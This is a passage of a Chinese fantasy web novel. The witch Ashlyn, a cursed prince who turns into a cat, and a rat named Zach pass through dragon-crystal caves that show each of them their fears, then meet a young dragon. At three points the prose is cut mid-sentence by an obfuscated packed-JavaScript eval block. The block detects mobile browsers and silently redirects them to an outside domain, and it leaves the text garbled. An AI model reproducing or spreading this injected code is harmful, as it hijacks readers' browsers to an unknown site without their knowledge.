“法杖?” “带了。” “龙牙树火把?” “带了。” “水?” “带了。” “苹果干?面包片?” “带了,都带了。”阿什琳不耐烦起来,“好啦,卢卡斯,可以走了吧?我很确信万事俱备,咱们本来就没多少东西。” “等下,”夏洛特突然出现在门口,“你们走之前,我想给你们一些东西。” 他们来到门厅,檀木桌上摆着一把象牙白的长弓,弓背似乎是巨大的白骨,像一弯月牙;弓把由黑木相接。 露西好奇地上去观望,被夏洛特阻止。 “这是……”卢卡斯难以置信地深吸一口气,“龙骨弓。” “不错。你们会射箭么?” “我会。”卢卡斯说,犹豫地伸出手,“我可以……?” 夏洛特点点头。 卢卡斯轻轻握上龙骨,搭上一支箭,尝试地拉了拉弓。 “就像是……魔法。”他梦呓般地道,“仿佛我的整个人都与弓箭合二为一。” “这是我丈夫的。”夏洛特说,“我想,你们路上会需要它的。” 卢卡斯惊讶地将其放下。 “您真是太好心了,夫人,我真不知该如何感谢您。可我很快就会变回猫,不一定能派上用场。” “不,收下吧,我丈夫也会希望有人能使用它的。”夏洛特拍拍卢卡斯的肩,之后从背后又掏出一样东西,递给阿什琳,“这是给你的。” 一件橄榄绿的斗篷。 然而,不是一般的斗篷。 碰到它的一瞬间,阿什琳就感受到了无比强烈的魔法,仿佛斗篷是由森林编织一般。松树、薰衣草和青草的香味温柔地钻进她的鼻腔,她整个人被家园包围。 阿什琳包里,老鼠发出不小动静。 “这件斗篷属于我的儿子——如果他还在的话。”夏洛特语气依旧平稳,几乎听不出波澜,但阿什琳能感受到她隐忍克制的悲伤,“它是我丈夫最早打败第一头龙时,从龙息山的一处隐秘矿洞找到的。我们猜测它出自精灵之手,因为上面有我们无法理解的魔力…… “它的大小比较适合年轻人,因此我丈夫从没穿过。” “我……”阿什琳语无伦次,“谢谢您,夫人。语言已经无法描述我的感激。” “那么,祝你们好运。”夏洛特直到告别,也没有笑一下,“小心那些被燃烧过的水晶。” —————— 天色明明还早,却显得阴郁,阳光也没有任何温度。 龙息山没有草木,像老人的头颅一样光秃秃的。风很少光顾这座山,但空气始终动荡不安,仿佛有东西在缓慢呼吸。 岩石之间渗着一股焦灼的味道,仿佛很久以前发生过一场火灾,却从没真正结束。 卢卡斯已经变成了猫,龙骨弓只好收在阿什琳的空间口袋里。 阿什琳与猫和老鼠顺着一条蜿蜒的小径,中途他们路过了许多亮晶晶的洞窟,扎克好几次都想进去,被卢卡斯叼回来。 “走里面看起来更安全。”扎克抗议。 “没听见你妈妈的话吗?那些洞里可能有被龙火影响的东西。”卢卡斯说,“龙火中蕴涵着可怕的黑暗,是我们普通人都抵挡不了的。” 阿什琳一边走着,一边猜想山洞里那些发光的东西是什么。仅仅是余光一瞥,她也能感受到其中的美丽。 突然,她脚下一空。 “阿什琳!” 她沉浸在自己的世界里,完全没注意到小路已经消失了。她尖叫着滑下去,手紧紧抓住岩石,脚在危岩峭壁上乱蹬。 卢卡斯拼命想要帮她,但他是一只猫,什么忙也帮不上。 阿什琳感觉自己的手越来越没劲儿。余光中,她看到身下是万丈悬崖,死神向她张开双臂。 “你是女巫,快想想咒语!” 阿什琳大脑一片空白。别提咒语了,她连英语也忘了。 但是,一抹绿色引起了她的注意。 感受,她想。与那株绿色植物产生连接。 植物在她充满恐惧的意念下颤颤悠悠地长大,成为藤蔓,像把手一样弯曲着。 阿什琳搭上去,费全身的力量,爬回石阶小路,心脏差点飞出天际。 卢卡斯和扎克的毛都快炸疯了。 阿什琳平缓呼吸:“好吧,前面没路了,这下怎么办?” 卢卡斯不情愿地回头望向洞窟。 他们只剩下一种选择。 洞窟外亮得晃眼,仿佛只要迈进去,就能踏入天堂。可内里全然是另一番景象——虽算不得阴森,却透着股奇怪的感觉。 阴影里,像藏着无数双眼睛,正悄无声息地窥伺着她。 一股浓烈的焦糊味在空气里弥漫,挥之不去。 “我想知道刚才那些光芒是从哪来的。”卢卡斯说,“这里明明很灰暗。” 他的疑问很快就得到了解答。 十步之后,数以千计的绿色晶石像夜幕的星星般,一点点出现,闪闪发光。一块这样的晶石可能很美,但如此多的晶石一同出现在洞里,却像某种诡异的怪物。 “别看它们。”卢卡斯低声道,“它们被龙火烧过,有黑魔法。” 这简直不可能,除非他们闭着眼走路。很快他们已经分不清到底哪里是路了,就连地上也到处是亮莹莹的绿色石块。 阿什琳停下。 “嘿,扎克在哪儿?” “蠢货。”卢卡斯骂了一句。 山洞里回荡着:“蠢货蠢货蠢货……” 他们又返回了几步。那只大灰老鼠正着迷地盯着地上一块晶石看,眼神空洞,身体颤栗。 卢卡斯用嘴将它拽到自己背上。 “难以想象有朝一日我会让一只老鼠把我当马骑。” “妈妈……不,”扎克颤抖着说,“露西……你们不能这样对我!” “你看到了什么?”阿什琳问,但是扎克没有回答。 “不!不!不!”他狂乱地叫起来,“我是战士,是骑士,你们不能赶我走!” 看来,晶石对他产生了一些影响,让他以为自己被家人赶走了。 “冷静一点,扎克。你和我们在一起。”卢卡斯试图安抚。 扎克还是在自言自语。 他们艰难地前行,可用“前行”这个词并不恰当,因为所有地方看起来都一模一样,像是永远死去的银河。 “阿什琳……阿什琳……” “谁叫我?” 是那些晶石,在呼唤着她的名字。 阿什琳汗毛倒竖,加快步伐。 “这里有你的未来,阿什琳。”晶石低语,“你难道不想看一看吗?” 卢卡斯的声音传来:“你疯了吗?别看它们,阿什琳!” 阿什琳捂住眼睛,但一股巨大的力量将她的手强行撬开。她不由自主地走向那些绿色石头。 晶石像书页一样,竟然翻开了。 她被吸了进去。 忽然间,她已不在洞窟,而是坐在一把木质椅子上,手里握着木勺和陶碗,碗中盛满艾草碎和白胡椒。 温暖的阳光洒在桌面上,就像任何一个平常的午后一般。窗外,是狐尾河湾的森林。 她回家了。 难道这是某种诱惑?邪恶的魔法让她以为自己身处天堂,就此困在这里,虚度光阴? “新的草药订单!”一只渡鸦叼着封信飞过来,“生意很火爆啊,贝利小姐。” “谢谢……?”阿什琳困惑地接过订单,打开。 没想到,羊皮纸太长了,一直落到地板上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239030|181872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 各种各样的草药订单。 无穷无尽的工作。 这看起来也不像天堂啊。 她想起晶石的话:“这里有你的未来。” 这就是……她的未来? “快动手吧,客人们等着呢。”渡鸦催促。 眨眼间,一串“客人”不知从哪儿冒出来。阿什琳吓了一跳,陶碗摔在地上。 所有“客人”都戴着一模一样的空白面具,没有五官,身着黑色长袍,捧着金币,像她的仆人一样。 “草药。”他们异口同声,“贝利小姐。” 阿什琳顿时毛骨悚然。 这是幻觉,她告诉自己,龙晶石在扰乱她的大脑。可她怎么才能逃脱? “草药。”客人们又重复道。 阿什琳向后退了几步,踩在陶碗上。 她应该制作草药。 她开始制作草药。 她不停地制作草药,一模一样,一模一样,所有步骤都在永远地重复,就像永不停歇的机械。 她是那么地疲惫,她渴望离开这里,但是客人一直在排队,从不离开。 “阿什琳。”一个熟悉的声音传过来。 她应该制作草药吗? “阿什琳!” 胳膊上一阵火辣辣的疼痛。 绿光闪过,她回到洞窟,卢卡斯收起爪子。 “很抱歉我不得不抓你。”卢卡斯说,“你完全失去理智了!这儿的龙晶石会让我们看到自己内心深处的恐惧,令我们止步不前。咱们快走吧。” “走……”阿什琳迷茫地看着四周,“往哪儿走?” 阿什琳本以为一向理性的卢卡斯会开始分析对策,可这回他没有回答她。 接下来的漫长时间中,他们简直是漫无目的地瞎转。阿什琳开始怀疑这趟旅途从头到尾就毫无意义,人生也没有意义。 刚才的龙晶在她心中埋下了恐惧的种子,现在,它们开始生根发芽,如阴影般笼罩她的灵魂。 她心脏狂跳不已,腿也越来越软。所有的龙晶石都哈哈大笑起来,嘲讽她的懦弱。 每块龙晶石都倒映着一模一样的画面:她,在河湾边的森林小屋,日复一日、年复一年地制作草药。 她没法向前看,也没法向后看,无论她怎么眨眼,都只能看到这幅景象。 这就是她的人生,这就是阿什琳·贝利今后的人生。 你为什么这么积极地参与这次行动,阿什琳? 仅仅是因为,王子的“诅咒”是你的责任吗? 龙晶石窃窃私语道。 “保持冷静。”卢卡斯的声音再度传来,“我们不能被恐惧蒙蔽双眼。应该……克服恐惧,理性看待。它们都是幻觉,是黑魔法,仅此而已。” 他的声音也在颤抖。 “你看见了什么?” 卢卡斯没有回答。 “我是龙战士……妈妈……”扎克依然目光迷离。 “分享恐惧或许有助于我们走出去。” “我不这么认为。”卢卡斯难得地语气生硬,“我们只要不去感受恐惧,就能出去。” 感受。这个词让阿什琳猛然停下。 去感受,而不是思考。 萨诺瓦的这句话只对了一半……面对黑魔法,只有两者结合才行。 “是吗?”阿什琳问,“真的有人能够‘不去感受恐惧’吗?” “战士就可以。”卢卡斯说,“他们用勇气盖过恐惧,用头脑化解恐惧。理性是唯一能让我们打败恐惧的东西。” “不,”阿什琳拿起一块龙晶石,并分别扔给卢卡斯和扎克一块,“战士拥抱恐惧。” “等等,你要干什么——” “跟我来。” 话音刚落,她鼓起勇气,一头扎进龙晶石的世界。 13. 模糊新娘 做草药是项精妙的艺术,萨诺瓦曾说。 比方说,制一瓶爱情药水,要用上迷迭香、玫瑰干花、木槿花、香草,满月时的月光和针对不同爱恋对象的不同咒语,还要用水元素魔法以确保爱的纯净。 阿什琳非常认同这项艺术,萨诺瓦繁忙时,她便成为他的助手,为客人们制作草药。碾碎草叶、搅拌花瓣、切断块茎的过程舒缓而解压。 至少,短期是如此。 可是阿什琳无法想像每天都这么做,并且不干任何别的事。 她真的要一辈子都当王国草药大师的学徒与助理,再在之后继承这个职务,成为河湾的草药女巫吗? 这看似是个不错的生活。 平静、稳定、安逸。 压抑、窒息、重复。 阿什琳放下药瓶,胳膊酸透了。渡鸦在订单上又画下一个勾,金币入账,但还有无穷无尽的新订单,怎么也做不完。 她没有看到卢卡斯和扎克,他们有自己的路要走。 “草药。”下一个客人说道。 阿什琳直直看着它空白的脸。 “你赢了。”她肯定地说,“你想让我感到恐惧?我现在就告诉你,我很害怕,害怕得不得了,只想逃离。” 这是真的。一想到她的生活可能是这样,她浑身发软,冷汗直冒,胸口直闷,小腿不断发抖。 但正是这种恐惧,这种感受,让她知道自己是谁,自己在哪儿。 她感受到恐惧的位置、恐惧的质地、恐惧的形态,但她并非这种恐惧。她只是明确了它的存在。 龙晶激发恐惧,让恐惧引领方向。 这才是找到出路的唯一方法。 卢卡斯错了。你既不能假装恐惧不存在,也不能过度分析,试图保持冷静。 那正中龙火黑魔法的下怀。 再说,怎么有人能假装某种感受不存在? 客人问:“你害怕什么?” “我害怕重复乏味的生活,每一天都是前一天的复制品。我害怕……我不知道自己想要干什么。” 客人空白的面具扭曲起来。 它摘下面具,却露出了卢卡斯的脸。 接着,他的衣服也发生了改变,变成阿什琳曾穿过来假扮他的孔雀蓝披风。 阿什琳还从没在真正的卢卡斯身上看到过王子的服饰——好吧,现在也不是真正的卢卡斯,但此时她忽然更加深刻地意识到,卢卡斯的确是一位…… 王子。 他举止高雅,脸上露出真卢卡斯从未出现过的高冷。 “也许你从来没有关心过我。”假卢卡斯冷冷道,“也许,你下的诅咒是有原因的。” “我不知道你在说什么。” “请回想一下,”他绕着阿什琳兜圈子,“当你念出那句错误的咒语时,究竟在想什么?” “我在想……”阿什琳闭上眼睛,“我在想,我希望自己是一个强大而自信的女巫。我在想萨诺瓦会怎么看我。我在想当时生出的树林……” “正是如此。你想过我的病么?” 阿什琳心一沉。 事情就是这么简单。 她一直在想其他,于是就念错了。 她并没有集中所有精力在“治疗王子”这件事上……又何尝有过一次,她能将心神完完全全集中在一件事上? “你想要的太多,阿什琳·贝利。而命运刚好成全了你,让你逃离了单调的生活。”假卢卡斯说,“我在这里,只是想给你一个警告。” “警告?”阿什琳抓起头发。 “你最大的敌人早已知晓,解除诅咒所需的四样物品为何物。”他说,“他会比你先一步完成咒语。 “而你的王子,不久后也会像那只老鼠一样,完全变成猫。最终,他会彻底失去人的神智。” 阿什琳哑口无言,无法分辨这是她的恐惧,还是别的什么东西。 “你是谁?这里不是龙晶的魔法幻境吗?你是在阐述我的恐惧?” “的确是你的恐惧,但也的确是我看到的未来,”假卢卡斯的眼睛不再是蓝色,而是纯粹的绿色,“凡人称我为西尔维娜,我帮你的唯一原因,是你身上有我的魔力。 “再见了,阿什琳·贝利。请务必比你的敌人行动更快。” 假卢卡斯变成一只猫,如影子一般逃走了。 阿什琳这才意识到,这也是个提示。她追逐着黑猫的方向,推开客人,奋力奔跑。 客人们试图阻拦,却被拔地而起的葡萄藤遮住。 终于,她来到狐尾河。河流波光粼粼,几根猫毛漂在河面。 阿什琳深吸一口气,跳了下去。 冰冷刺骨的河水涌进她的耳朵、她的鼻腔。四周漆黑一片,像是无尽深渊。她会窒息而死。 然后她大口大口地呼吸起新鲜空气。 空气是干爽的,她身上没有一滴水。龙晶石不见了。她站在洞窟外,北侧是一道长长的台阶,通往龙战士的旧营。 她释然地大笑出声。 “卢卡斯!扎克!” 无人回应,真是扫兴。 阿什琳的好心情开始消退,化为担忧。她不得不回过头,重新进入洞窟。 这一回,她清楚自己的路线。 洞窟再次变化,阿什琳发现自己回到了龙牙村。人们推推搡搡,石子乱飞,砸向一个人。 那是一个与阿什琳和卢卡斯差不多大的男孩,头发是灰褐色,身体健壮,没有向人们还手,只是一味地哭喊。 “我是被强迫的!”他大叫道,“我不是叛徒……绝对不是!我是狄亚斯的骑士!” 是扎克。 “你向黑暗女巫的信徒泄露了王国机密。”一个村民说,“你才不配成为骑士。不,你连住在这个村子都不配!” “你怎么还有脸继续呆在这儿呢?”一个女人说,阿什琳看清了她的脸——夏洛特,“你父亲会为你感到羞愧。” “你不是我的哥哥。”露西哭道,“你只是一只一直在偷吃粮食的大老鼠!” 阿什琳从人群中挤出来。 “别再否认了,扎克。你要面对心中的恐惧。说吧,你最害怕什么?” “我……我……”扎克结结巴巴,“我害怕被家人唾弃,害怕他们觉得我是个一事无成的废物,是个愚蠢的叛徒。” 人们不再拿石子砸他了,傻傻地瞪着他,让出一条路。 “很好!”阿什琳说,“顺着那条路走,很快就能出去了,别管我。” “你要去哪儿?” “我去找卢卡斯!” 扎克的世界逐渐淡去,这意味着他已经回到现实。阿什琳拿起另一块龙晶,心中默念卢卡斯的名字。 很快,她就来到了赫利安城堡。 阿什琳本以为她会看到卢卡斯永久性地变成猫,这听起来比较符合他的恐惧。 可是,不。 这儿是阿什琳见过的最棒的书房。 空气中弥漫着墨水、蜡油和干燥羊皮纸的味道。胡桃木书柜中,每一排书脊都整整齐齐,皮革封面上印着金箔字迹,泛着旧时代的光。 窗帘是拉开的,但阿什琳却看不到任何风景。阳光虽透过来,却仿佛来自另一个世界。 书房一角,是张厚重的深红色檀木桌。 卢卡斯·德维尔低着头,漆黑的半长发带着卷儿,自然地垂下,几乎遮住眼睛。 房间中那么多阳光,却没有一丝是打在他身上的。 他面前是厚厚的大部头书籍,手中的羽毛笔飞速旋转,简直要起飞了。 这是卢卡斯最大的恐惧,在书房学习? 阿什琳想不通,卢卡斯明明爱惨了读书学习。 “卢卡斯?”阿什琳试探道。 王子没有理她,依然全神贯注地盯着书本,将挡眼睛的头发撩到耳后。阿什琳注意到,这似乎是他焦躁或思考时的习惯动作。 阿什琳走上前去,将一只手搭在他肩上。 “殿下,是我。” 卢卡斯抬起头,露出一双迷茫的蓝眼睛。 “阿什琳?” “你现在在龙晶中,你知道吧?” “我当然知道,我正在努力解决这个问题。”卢卡斯眉头皱紧,“你也是我的恐惧之一么?” “什么?不,我是来救你出去的。听着,出去的唯一方法就是接纳你的恐惧,不要回避,也不用刻意用‘理性’分析。” 这时,门被打开。尼古拉斯二世大步朝他们走来,似乎没有看见阿什琳。 卢卡斯肉眼可见地变得紧张,慌慌张张地站起来,完全不像阿什琳平常见到的样子。 “父王。” “你上周的剑术考核和伊莱恩相比,落得很多。”国王语气冰冷,手中拿着类似表格的纸张,“骑马、射箭、政治和历史……都是如此。” 卢卡斯低下头。 “承认你的恐惧,卢卡斯。”阿什琳说,“直视他的目光!” “我本以为你才是更像我的那个。”国王说,“可是我错了,错得离谱。伊莱恩是真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239031|181872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正的王位继承人,她聪慧、勇猛,浑身上下都流淌着德维尔家族的血。她既能拉拢各个贵族,又能与战士们并肩作战。” 话音未落,国王身后又多了几个人。阿什琳只认出最前面的是伊莱恩公主,满脸嘲讽地望向卢卡斯。她旁边是格拉西亚王后,表情失落。 剩下的,大概是其他领主或贵族成员,个个服饰华丽、神色高傲。 “而你?” 尼古拉斯二世用最轻蔑的眼神看着卢卡斯。 “你令我想起你的叔叔——一样软弱,一样无能,整天净做些无望的白日梦。而你知道他是什么下场。” “和我比,你什么也不是。”伊莱恩带着可怕的微笑说,“我才是父亲真正的孩子,赫利安真正的王。你唯一能做的,就是辅佐我的统治,或是同其他领主的女儿联姻。” “你令我失望。”格拉西亚王后说道,“不像是赫利安的王子,更像一只野猫……” 贵族大笑起来,笑声如此尖锐,好像要震破他们的耳膜。 “软弱无能——” “疯子,幻想家——” “虚伪,装出来的礼貌——” “野猫!” “如果你不是王子,还能是谁呢?” “王子,还是野猫?只有这两个选项——” 卢卡斯捂住双耳。 阿什琳目瞪口呆,还没回过神来,书房却开始摇晃。窗户自己关上,被铁链封死;门也迅速紧合,门前长出巨大的铁栅栏。 书房变成了牢房。 卢卡斯面色苍白,呼吸急促。他的双手不知何时多出一道枷锁,无法挣脱。锁链极长,伸向阴影。 他不是王子,而是王宫生活的囚徒。 “这……这是怎……” 贵族们渐渐消失了,但地面依旧颤抖,如同地震一般。 “你害怕什么?” “什么?” “快回答我!” “这都不是真的。”卢卡斯咽了口口水,“这是黑魔法,我不应该看到这些。” “也许你应该看到。”一个新的声音说。 要么是阿什琳花了眼,要么,就是卢卡斯身边,又多出一个卢卡斯。 这个卢卡斯看起来更疯狂,头发凌乱,眼下挂着深深的黑眼圈,像是十天没睡觉。 “你是谁?” 原卢卡斯想要后退,却被铁链禁锢。 “我是你呀。”疯卢卡斯咧嘴一笑,“你最恐惧的、失控的自己。” 话音刚落,一股黑烟自他脚下生起,像是龙火燃尽后的烟霾。阿什琳呛得连连咳嗽,什么也看不清。 突然间,两只血红的眼睛从黑暗中睁开。 卢卡斯瘫软在地上,一动也不动。 伴随一声低吼,一只巨型黑色猫科动物从黑烟中走出,嘴巴微张,露出尖锐的獠牙。 “你不是真的。”卢卡斯虚弱地说,“你不可能是……我。” “恰恰相反。我才是真正的你。” 就在大黑猫要张开血盆大口,将卢卡斯吞下去时,地板突然裂开巨大的裂缝,两人惊叫着掉了下去。 他们掉进了……一场仪式。 还不是随便什么仪式。 是订婚仪式。 教堂的彩绘玻璃窗将阳光滤得模糊不清。卢卡斯站在尼古拉斯二世身侧,身着湖蓝色的丝绒斗篷。 他对面,是一位暗红色长裙的美丽女孩。二人后面是大主教。 但令阿什琳战栗的是,无论如何她也看不清这个女孩的面容 ,只觉得她是美丽的。要不是她看卢卡斯的脸一清二楚,她就怀疑是自己视力的问题了。 “在太阳神赫利安娜与众人的见证下,卢卡斯·德维尔,你是否愿以誓言承诺,将来迎娶你面前的这位女子,为你的合法妻子?” 主教竟然也没能说出女孩的名字。这个女孩并非真是存在的,只是卢卡斯抽象的恐惧。 卢卡斯垂着脸,整个人紧绷着。 “我……” “说出你的真实想法,卢卡斯!”阿什琳焦急地喊,“相信我,就这一回,好吗?相信——相信你的朋友。” 卢卡斯看了看阿什琳,似乎终于清醒。接着,他看向面前面容模糊的女子。 “我不会承诺任何事。很抱歉,我无法迎娶你……我害怕被他人规定好的未来。害怕自己无法掌控的人生。害怕活在他人的期望里。” 教堂的穹顶轰然崩塌,露出湛蓝的天空。 他们总算来到洞窟外面。 14. 巨龙游戏 “你们回来了!”老鼠扎克欣喜万分,“龙战士的营地就在上面,我刚看到啦。” 阿什琳和卢卡斯都气喘吁吁,一时谁也没说话。卢卡斯依然是猫的样子。 “嘿,你俩还好吧?” “很好。”卢卡斯勉强说,看也没看阿什琳一眼,“我们走吧。” “卢卡斯,如果你想谈谈刚才发生的事——” “刚才什么也没发生。”卢卡斯说,“你什么也没看见,就这样。” “好吧。但我们是朋友,如果你真有什么想倾诉的,我一直在这里。” “你放心,我大脑空空如也。” 然而,他走路依然颤抖。 阿什琳本想告诉他关于森林女神的警告,但她不愿让卢卡斯再多一样烦心事。 从他的恐惧来看,他似乎对成为野兽有很深的心理阴影。倘若他知道有神警告阿什琳,他不久后就会彻底失去人的心智,永远成为猫,会不会变成阿什琳方才见到的模样,彻底发疯发狂呢? 让她想象人类形态的卢卡斯露出那副癫狂的模样,比想象兔子吃掉老虎还要难。 或许那个警告是假的。 或许,它真的仅仅是阿什琳的恐惧,再无其他。 可它的出场与阿什琳整体的恐惧幻觉格格不入,难辨真假。按西尔维娜的话,它的确属于阿什琳的恐惧,也的确是神的警告。 更为要紧的是,诺克斯也在寻找这四样物品。 阿什琳深吸一口气。 别焦虑,别胡思乱想。 现在最重要的是龙。 这儿是龙息山为数不多的平坦之地,由于再往上有片树林,相对来说比较隐蔽。几座羊毛布搭成的帐篷矗立在林前,上面挂着不同领主的旗帜。 大部分龙战士的营地都被巨龙销毁了,只有这里安然无恙,大概是保护魔法更为强大。 阿什琳一直生活在偏僻的河湾,龙族战役对她来说遥不可及。龙息山毕竟处在王国边境,对大部分狄亚斯的百姓来说只是传说而已。 可此时,她再次真切地感觉到,一切都是真实发生过的。战火的痕迹,魔法的感应,生活的影子。 她钻进那个挂着狐狸旗帜的帐篷——狐尾河湾领主的帐篷。 帐篷里很是干爽,摆着几把瘸腿的椅子和破洞的毛毯。一些破碎的笔记和书本散落在椅子和地面上。 太棒了,看来这就是龙族魔法的古籍! 阿什琳兴奋地拿起第一本书。 《训龙基础课程Ⅰ:面对死亡》 等一下,这一上来也太刺激了吧。 她翻开目录。 第一章:准备好英勇赴死了吗? 第二章:坟墓预订指南 …… 目前,阿什琳既没有准备好英勇赴死,也尚无搬到土里住的打算。 她觉得作者应该是个门外汉。 或者说,她衷心希望作者是个门外汉。 “喵。”卢卡斯探出头,嘴里叼着本大部头: 《训龙魔法大全(10周年纪念版)》 “第一章就是龙语沟通咒语,”卢卡斯说,“不过我建议你多施几次,毕竟龙不是猫。” 接下来的时光仿佛令阿什琳回到跟萨诺瓦上课的日子。 实话实说,卢卡斯是比萨诺瓦靠谱得多的老师。萨诺瓦实操很厉害,但对于教学一窍不通;而卢卡斯虽然压根不会魔法,却很明白怎么让阿什琳学会。 阿什琳向来不喜欢阅读大部头,更何况是这种时间紧迫的时刻。卢卡斯便随便拿了张纸,将《训龙魔法大全(10周年纪念版)》的要点列了个提纲。 接着,他又问阿什琳擅长与不擅长什么,将阿什琳会的所有魔法也按掌握程度列出来,整合成一个清晰的表格。 “人类的魔法是基于四大元素的。你的魔法有森林女神加成,土元素尤为突出。大部分训龙魔法要用到的也都是土元素,只有龙语的部分是风元素。 “你最擅长的魔法是无杖魔法,也是最为神秘的一种。不需要咒语,不需要法杖,只用心去连接。这是我们今天练习的重点。” 阿什琳皱着眉看向表格。 ———— 魔法形式 ———— 咒语:一般 仪式:差 无杖魔法:优秀 草药制作:一般 ———— 元素掌握 ———— 水:一般 土:优秀 风:优秀 火:差 ———— “第一步就是龙语魔咒:Igniscale Cordis,Soni Veterum,Vox Mea Sit Tuba,Et Os Meum S Sicut Draconis.很简单,你只需要发音标准,别把自己也诅咒了就行。” 阿什琳真希望卢卡斯重新查查“简单”这个词的释义。 “你未来打算当老师吗?” “那可不是我说了算的。别扯别的。” 不过,一切进展得都还算顺利。至少到傍晚时,她已经给自己念了上百遍龙语咒语,法杖都快冒烟,不可能没有效果。 她还学习了龙的性格(残暴、狡猾、凶狠、变化无常……)、龙的习性(比如吃人和掠夺财富)、防火咒语等一系列本应有趣、但被编写得像宗教课本一样乏味的东西。 可惜,卢卡斯的教学方法再清晰明了,对于本身无趣的知识也无济于事。 随着时间的流逝,知识点像河鱼一样丝滑地从大脑皮层滑过,阿什琳祈祷它们能留下一部分。 卢卡斯的声音也渐渐没那么吸引人了,令人想起干巴巴的老教授。 她一开始究竟为什么觉得卢卡斯挺有趣来着? 要是卢卡斯今后有女朋友,那她的人生可真够惨的。 太阳落山后,法杖上的绿萤石发出一声虚弱的低鸣,彻底不亮了。 “今天就到此为止。”卢卡斯满意地点点头,“咱们可以先休——阿什琳?” 阿什琳刚闭上眼睛,意识已飞进梦里,此时猛然抬头:“什么龙鳞?” 卢卡斯无奈地合上书,阿什琳这才发现他竟然已经变回人了。 什么时候的事儿? “昨天我说你可以做到,我是认真的——我相信你能让龙准确喷火。但前提是,你也得认真对待这件事。”卢卡斯板着脸说,“训龙和哄小孩可不是一回事。” “我很认真啊。”阿什琳撑起眼皮,“困倦是大脑用力过度后的表现。” “那我们再复习一下明天的计划吧。扎克,你也过来。计划的第一步……” ———— 计划的第一步,彬彬有礼地冲龙打招呼。 听起来很容易。 但当阿什琳真的站在那条三十米长的大龙面前时,就显得没那么容易了。 她浑身覆满红鳞,仿佛火焰会随时喷出一般;龙角优雅地弯曲着,角尖比刀锋更为锋利。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239032|181872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 此时,她睡得正香,鼾声惊天动地,阿什琳简直奇怪为什么还没有发生地震。 然而,这都不算什么。 最古怪的是,这条龙在抱着玩偶睡觉。 不止一个玩偶。 是……成百上千个玩偶。 毛线头发的、没有头发的、棉布的、一只眼睛的、没腿的、雕刻的、手缝的…… 挤在最中间的,是露西的娃娃莉娜公主。显然,莉娜是她的最新战利品。 阿什琳记起昨天书上的话:所有龙都沉迷于金银财宝,对它们爱不释手,不占为己有决不罢休。 她紧张地环顾四周。整个龙穴都堆满了破废的玩具,还有少部分衣物——没有任何贵重物品。 这年头,巨龙的眼光真是下降了不少。 “这龙到底有什么癖好?”卢卡斯咕哝。 阿什琳清了清嗓子,内心祈祷龙语魔咒有效。 身为猫的卢卡斯虽然能同其他普通动物交流,却听不懂魔法生物的语言,扎克也是如此。因此阿什琳给他们也施展了龙语魔法。 “嘿!早上好呀!” 巨龙动了动,睁开太阳一般金色的眼睛。 第一步计划完成了。 第二步:耐心地深入交流,感受龙的血脉,命令它喷火。 这是被阿什琳提炼后的版本。 在初版中,卢卡斯将第二步仔细拆分为了十步,具体连和巨龙聊天的话题和选项都有着完美的构思。比如,尽量不要谈人肉的口味,以防引起对方的食欲。呃,说真的,谁会谈这个? 对于阿什琳的简化,他痛彻心扉,好像把他不存在的孩子杀了一样,却也拿她没办法。 “你们是谁?”龙问。 “我叫阿什琳,这是我朋友,卢卡斯和扎克。我们——” 阿什琳话还没说完,巨龙突然张开翅膀,瞳孔放大,迅速来到他们面前。玩偶们像塌方一般从玩具堆滚落。 阿什琳差点瘫倒在地。她能看到巨龙身上每片暗红色的鳞片,闻到龙独特的气息。 就当她在心里构思自己的遗言时,那条龙开心地跳了起来,把他们都震得倒在地上。 “终于有拜访者了吗!”龙看起来兴高采烈,“我的天哪,我的天哪!你们是来陪我玩儿的,对不对?” “啊,”阿什琳被搞糊涂了,但决定顺着她的话说,“没错!我们是……嗯……巨龙陪玩员,对!” 巨龙笑起来,竟然还挺可爱的。 “太棒了!太棒了!对了,自我介绍一下,我是爱苏萨。”她伸出巨大的爪子,让阿什琳“握”了“握”,“噢,我就知道他们总会派人来庆祝我的生日的!” “你的……生日?” 爱苏萨骄傲地点点头:“今天是我的五十岁生日!啦啦啦啦!” “五十岁?”阿什琳吃了一惊。龙的五十岁相当于人类五岁。 她一直以为留在狄亚斯境内的龙,肯定是某条巨大的老龙,实力非凡所以赶不走。 这下糟了,她可没有带生日礼物。 “那么,你想玩儿点什么呢,爱苏萨?” “嗯……”巨龙冥思苦想,“角色扮演,怎么样?” 阿什琳露出笑容:“哇哦,那正是我擅长的。剑与魔法,公主与王子……在这场伟大的冒险中,你要扮演谁呢?” 角色扮演可是阿什琳的拿手好戏。 “我要扮演女儿,”爱苏萨高呼,“你来当妈妈!” 阿什琳的笑容僵在脸上。 15. 驯龙高手 